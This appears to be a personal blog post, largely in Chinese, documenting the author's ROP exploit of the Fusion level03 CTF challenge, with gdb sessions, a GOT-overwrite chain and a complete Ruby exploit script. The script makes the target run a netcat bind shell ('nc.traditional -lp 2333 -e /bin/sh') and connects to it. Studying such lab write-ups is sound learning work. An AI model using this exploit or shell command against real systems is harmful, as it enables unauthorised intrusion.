直接套 Find Out ROP chain 节最后的 ROP Chain:

# GOT
fusion@fusion:~$ objdump -R /opt/fusion/bin/level03 | grep strncmp
0804bda0 R_386_JUMP_SLOT   strncmp

# PLT
fusion@fusion:~$ objdump -d /opt/fusion/bin/level03 | grep strncmp
08048f50 <strncmp@plt>:
 8049ae2:	e8 69 f4 ff ff       	call   8048f50 <strncmp@plt>
# funcA -> strncmp

1. 0x08048bf0 : pop ebx ; ret 
   # 作用是把 2. 的值写进 ebx

2. # 在这里放上「funcA 的 got 地址 - 0x5d5b04c4」
   #(减去这个数字是因为 6. 的 ebx 大了 0x5d5b04c4
   0x0804bda0 - 0x5d5b04c4
   => 0xAAA9B8DC

3. 0x08049b4f : pop eax ; add esp, 0x5c ; ret 
   # 作用是把 4. 的值写进 eax

4. # 「libc 里面,funcA 的地址 到 libc_system 的地址」之间的偏移量
   => 0xFFFC65F0

5. # 这里得写上 0x5c 个字符,因为 3. 出现了 add esp, 0x5c

6. 0x080493fe : add dword ptr [ebx + 0x5d5b04c4], eax ; ret
   # 成功改写了 funcA 的 got 记录:
   # 即加上偏移量,变成了 system 的地址

即:

# strncmp -> system
title += p32 0x08048bf0 # pop ebx ; ret
title += p32 0xAAA9B8DC # ebx = strncmp GOT record 0x0804bda0 - 0x5d5b04c4
title += p32 0x08049b4f # pop eax ; add esp, 0x5c ; ret 
title += p32 0xFFFC65F0 # offset of libc system and strncmp
title += "w" * 0x5c
title += p32 0x080493fe # add dword ptr [ebx + 0x5d5b04c4], eax ; ret
title += p32 0x08048f50 # call <strncmp@plt> just for test

….但是却遇到了这样的问题:

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xb76042d0 in __argp_fmtstream_update (fs=0xb787fff4) at argp-fmtstream.c:238
238	argp-fmtstream.c: No such file or directory.
	in argp-fmtstream.c

(gdb) x 0x0804bda0
0x804bda0 <strncmp@got.plt>:	0xb76042d0

(gdb) x 0xb76042d0
0xb76042d0 <__argp_fmtstream_update+352>:	0x158b65ff

(gdb) p system
$3 = {<text variable, no debug info>} 0xb7566b20 <__libc_system>

<strncmp@got.plt> 改了,但并没有指向 system …

偏移应该没有算错呢….

就算去 objdump -d libc.so 得出的也是同样的偏移

GNU Indirect Function

问题似乎出现在这里:

(gdb) p strncmp
$1 = {<text gnu-indirect-function variable, no debug info>} 0xb75a0530 <strncmp>

(gdb) p memcpy
$5 = {<text gnu-indirect-function variable, no debug info>} 0xb75a1a60 <memcpy>

(gdb) p system
$3 = {<text variable, no debug info>} 0xb7566b20 <__libc_system>

(gdb) p write
$4 = {<text variable, no debug info>} 0xb75eb2c0 <write>

(gdb) x 0x0804bda0
0x804bda0 <strncmp@got.plt>:	0xb763dce0

system 和 write 都是 <text variable, no debug info>,但是 strncmp 和 memcpy 是 <text gnu-indirect-function variable, no debug info>…?

这个 indirect 是什么意思呢?

GNU indirect function (ifunc) is a mechanism making a direct function call resolve to an implementation picked by a resolver. It is mainly used in glibc but has adoption in FreeBSD.

For some performance critical functions, e.g. memcpy/memset/strcpy, glibc provides multiple implementations optimized for different architecture levels. The application just uses memcpy(…) which compiles to call memcpy. The linker will create a PLT for memcpy and produce an associated special dynamic relocation referencing the resolver symbol/address. During relocation resolving at runtime, the return value of the resolver will be placed in the GOT entry and the PLT entry will load the address.

On Mach-O, there is a similar feature called N_SYMBOL_RESOLVER.

GNU indirect function - MaskRay

啊…好麻烦x 以后再看看吧

总之重新换个方式算偏移…

(gdb) p strncmp
$3 = {<text gnu-indirect-function variable, no debug info>} 0xb75a0530 <strncmp>

(gdb) x strncmp
0xb75a0530 <strncmp>:	0x762de853

(gdb) x 0x0804bda0
0x804bda0 <strncmp@got.plt>:	0xb763dce0

# 可见 p strncmp 和 x strncmp 的结果是一样的
# 但是又和直接 x strncmp@got.plt 的结果不一样

(gdb) p system
$4 = {<text variable, no debug info>} 0xb7566b20 <__libc_system>

# 用 x strncmp@got.plt 的结果算出的偏移量为:0xFFF28E40


# 重启程序再试一次:

(gdb) x 0x0804bda0
0x804bda0 <strncmp@got.plt>:	0xb7600ce0

(gdb) p system
$2 = {<text variable, no debug info>} 0xb7529b20 <__libc_system>

# 这时候的偏移量也是 0xFFF28E40,好耶!

那么修改为如下:

# strncmp -> system
title += p32 0x08048bf0 # pop ebx ; ret
title += p32 0xAAA9B8DC # ebx = strncmp GOT record 0x0804bda0 - 0x5d5b04c4
title += p32 0x08049b4f # pop eax ; add esp, 0x5c ; ret 
title += p32 0xFFF28E40 # offset of libc system and strncmp # x strncmp@got.plt
title += "w" * 0x5c
title += p32 0x080493fe # add dword ptr [ebx + 0x5d5b04c4], eax ; ret
title += p32 0x08048f50 # call <strncmp@plt> just for test

add dword ptr [ebx + 0x5d5b04c4], eax ; ret 打断点:

Breakpoint 1, 0x080493fe in __do_global_dtors_aux () at level03/level03.c:257
257	level03/level03.c: No such file or directory.
	in level03/level03.c
(gdb) info reg
eax            0xfff28e40	-881088
ecx            0x9f37710	166950672
edx            0x804be0c	134528524
ebx            0xaaa9b8dc	-1431717668
......

(gdb) x $ebx + 0x5d5b04c4
0x804bda0 <strncmp@got.plt>:	0xb7600ce0

(gdb) x/i 0xb7600ce0
   0xb7600ce0 <__strncmp_sse4_2>:	push   %ebp

# 前进一步就该是 system 了:

(gdb) x/x 0x804bda0
0x804bda0 <strncmp@got.plt>:	0xb7529b20

(gdb) x/i 0xb7529b20
   0xb7529b20 <__libc_system>:	sub    $0x10,%esp

成功!!!!

oaoaowuuuwuaoaoaowuoouawuaouoyeyeyeyehkoaao

(到这一步又花了一个下午加一个晚上的时间)

(真的,哭死)


END.

终于要结束了吧…

把这些东西组合起来…

(gdb) x/i validate_request
   0x8049ab0 <validate_request>:	sub    $0x5c,%esp
title  = "w" * 127
title += '\\\\\uAAAA'
title += "w" * 27
title += "ABCD"       #ebp

# gRequest -> gContents
# memcpy(void *restrict dst, const void *restrict src, size_t n) : 0x08048e60
title += p32 0x08048e60 # memcpy
title += p32 0x0804964d # return addr : pop ebx ; pop esi ; pop edi ; ret
title += p32 0x0804be08 # *dest     0x804be08 <gRequest>
title += p32 0x0804bdf4 # *src      0x804bdf4 <gContents>
title += '\\\\\u0400' + '\\\\\u0000' # size = 0x00000004
# title += p32 0x23332333 # sigsegv for test

# strncmp -> system
title += p32 0x08048bf0 # pop ebx ; ret
title += p32 0xAAA9B8DC # ebx = strncmp GOT record 0x0804bda0 - 0x5d5b04c4
title += p32 0x08049b4f # pop eax ; add esp, 0x5c ; ret 
title += p32 0xFFF28E40 # offset of libc system and strncmp # x strncmp@got.plt
title += "w" * 0x5c
title += p32 0x080493fe # add dword ptr [ebx + 0x5d5b04c4], eax ; ret
# title += p32 0x08048f50 # call <strncmp@plt> just for test

# we replaced strncmp with system
# and replaced gRequest with gContents
# now the strncmp in <validate_request> acts like:
# system(gContents)
title += p32 0x8049ab0 # <validate_request>

然后在那个可怜的 strncmp(gRequest, token, strlen(token)) 前打断点吧

(gdb) disas validate_request
Dump of assembler code for function validate_request:
   0x08049ab0 <+0>:	sub    $0x5c,%esp
   0x08049ab3 <+3>:	mov    %ebx,0x4c(%esp)
   0x08049ab7 <+7>:	mov    0x804bdf8,%ebx
   0x08049abd <+13>:	mov    %esi,0x50(%esp)
   0x08049ac1 <+17>:	mov    %edi,0x54(%esp)
   0x08049ac5 <+21>:	mov    %ebp,0x58(%esp)
   0x08049ac9 <+25>:	mov    %ebx,(%esp)
   0x08049acc <+28>:	call   0x8048e70 <strlen@plt>
   0x08049ad1 <+33>:	mov    0x804be08,%esi
   0x08049ad7 <+39>:	mov    %ebx,0x4(%esp)
   0x08049adb <+43>:	mov    %esi,(%esp)
   0x08049ade <+46>:	mov    %eax,0x8(%esp)
   0x08049ae2 <+50>:	call   0x8048f50 <strncmp@plt>
   ......

(gdb) break *0x8049ae2
Breakpoint 1 at 0x8049ae2: file level03/level03.c, line 75.

(gdb) c
Continuing.

Breakpoint 1, 0x08049ae2 in validate_request () at level03/level03.c:75
75	level03/level03.c: No such file or directory.
	in level03/level03.c

(gdb) c
Continuing.

Breakpoint 1, 0x08049ae2 in validate_request () at level03/level03.c:75
75	in level03/level03.c

(记得要第二次到断点的时候才是我们替换完之后手动跳 validate_request 的时候

(gdb) x/4wx $esp
0xbf852db8:	0x09f37708	0x09f36008	0x0000003f	0x77777777

(gdb) x/s 0x09f37708

0x9f37708:	 "/bin/nc.traditional -lp 2333 -e /bin/sh"
(gdb) c
Continuing.

root@fusion:~# netstat -ap | grep nc.traditional
tcp        0      0 *:2333                  *:*                     LISTEN      2065/nc.traditional

成..成功了….

 nc 192.168.215.135 2333
id
uid=20003 gid=20003 groups=20003
uname -a
Linux fusion 3.0.0-13-generic-pae #22-Ubuntu SMP Wed Nov 2 15:17:35 UTC 2011 i686 i686 i386 GNU/Linux
exit

心情激动,但是说不出话

end.png


最后是完整的脚本

展开...
#!/usr/bin/ruby
# encoding: ASCII-8BIT

require 'socket'
require 'openssl'
require 'securerandom'
require 'json'

# print '==> Enter hostname:'
hostname = '192.168.215.135'
# hostname = gets.chomp
port = 20003
$socket = TCPSocket.open(hostname, port)

def press_to_c
  print '==> press enter to continue'
  gets
end

# Trim the double quotes from the beginning and end of the string
token = $socket.gets
token = token[1..token.length - 3]
puts "==> received token:\n#{token}"

=begin
  ...
  invalid = result[0] | result[1];
  if(invalid) errx(EXIT_FAILURE, "Checksum failed!......
  ...
so the first two bytes of hmac must be \x00
to do this we must generate a random string
and try to hmac it several times
until the first two bytes of result are \x00

the real vuln is in decode_string()
if the 127 character is '\' than it will try to parse the 128 character
if the 128 character is 'u' than it will try to parse next four character
than while(*src && dest != end) will always be true
which allows us to write as many characterss as we want 
=end

def p32 addr
  return [addr].pack 'I'
end

title  = "w" * 127
title += '\\\\\uAAAA'
title += "w" * 27
title += "ABCD"       #ebp

# gRequest -> gContents
# memcpy(void *restrict dst, const void *restrict src, size_t n) : 0x08048e60
title += p32 0x08048e60 # memcpy
title += p32 0x0804964d # return addr : pop ebx ; pop esi ; pop edi ; ret
title += p32 0x0804be08 # *dest     0x804be08 <gRequest>
title += p32 0x0804bdf4 # *src      0x804bdf4 <gContents>
title += '\\\\\u0400' + '\\\\\u0000' # size = 0x00000004
# title += p32 0x23332333 # sigsegv for test

# strncmp -> system
title += p32 0x08048bf0 # pop ebx ; ret
title += p32 0xAAA9B8DC # ebx = strncmp GOT record 0x0804bda0 - 0x5d5b04c4
title += p32 0x08049b4f # pop eax ; add esp, 0x5c ; ret 
title += p32 0xFFF28E40 # offset of libc system and strncmp # x strncmp@got.plt
title += "w" * 0x5c
title += p32 0x080493fe # add dword ptr [ebx + 0x5d5b04c4], eax ; ret
# title += p32 0x08048f50 # call <strncmp@plt> just for test

# we replaced strncmp with system
# and replaced gRequest with gContents
# now the strncmp in <validate_request> acts like:
# system(gContents)
title += p32 0x8049ab0 # <validate_request>


hash = {
  :tags => ['meme'],
  # Ruby to_json issue with error "illegal/malformed utf-8"
  # https://stackoverflow.com/questions/18067203/ruby-to-json-issue-with-error-illegal-malformed-utf-8
  :title => '_replace_',#.to_s.force_encoding('ISO-8859-1'),
  :contents => '/bin/nc.traditional -lp 2333 -e /bin/sh',  #'/bin/nc.traditional -lp 2333 -e /bin/sh',
  :serverip => '192.168.215.135:8080'
}

puts "==> original json:"
json = hash.to_json
puts json.inspect

puts "==> replaced json:"
json = json.dup.sub! "_replace_", title
puts json.inspect

puts "==> calculating hmac..."
while true do
  # random string to make the result of hmac different every time
  ranstr = SecureRandom.hex
  #json = hash.to_json

  # add this "\n" to seperate token and payload
  # or the json_tokener_parse(gRequest) in parse_request() will not work
  payload = token + "\n" + json + ranstr
  hmac = OpenSSL::HMAC.hexdigest 'SHA1', token, payload 

  if hmac[0..3] == "0000" then
    puts "done"
    puts "==> use random string:\n" + ranstr
    puts "==> created payload:\n" + payload.inspect
    puts "==> hmac result:\n" + hmac
    # "00008ad10c00e3..." => "\x00\x00\x8A\xD1\f\x00\xE3..." 
    hmac = [hmac].pack 'H*'   
    break end
end

$socket.write payload
press_to_c

=begin
  ...
  while(1) {
    ret = read(0, gRequest + gRequestSize, gRequestMax - gRequestSize);
    if(ret == 0) break;
  ...

BasicSocket#close_write:
  Disallows further write using shutdown system call.

use this to make read return 0
use $socket.close will cause Broken Pipe
=end
$socket.close_write

system "nc #{hostname} 2333"

加了英文注释本来是想上传 GitHub 的

但是姑且还是把 Fusion 的题目全做完了再一起传吧

以及草稿

trial_and_error.png

真的试了好多好多次…

前后加起来有三个星期才总算把这个做出来


从因为疫情被封的三月中旬到现在,也就两个半月的时间

真的学到了好多…

从完全不会 pwn 到 现在第一次自己成功 ROP

还顺带喜欢上了 ruby 和 vim x

还顺便养成了看英文资料的习惯(或者说根本就找不到多少相关的中文资料

这一切都是命运石之门的选择x

不过明天真的就要返校了..

姑且把开了几个月的 Terminal 和 Safari 标签页都关掉了…

再打开来的话大概是七月了呢…

啊总之笔记本没电了,先爬爬x

battery.png


Thanks for reading.

Sponsors:

  • My not-yet-arrived keyboard

  • Cute cats in the compound

  • MacOS Calculator

  • My IKEA Shark Hikari.Sa(鲨·光光

  • Baka Minty w

最后更新于 Jun 05, 2022 11:10 UTC
Senri Nya~ | Since July 2021
visits
Built with Hugo
Theme Stack designed by Jimmy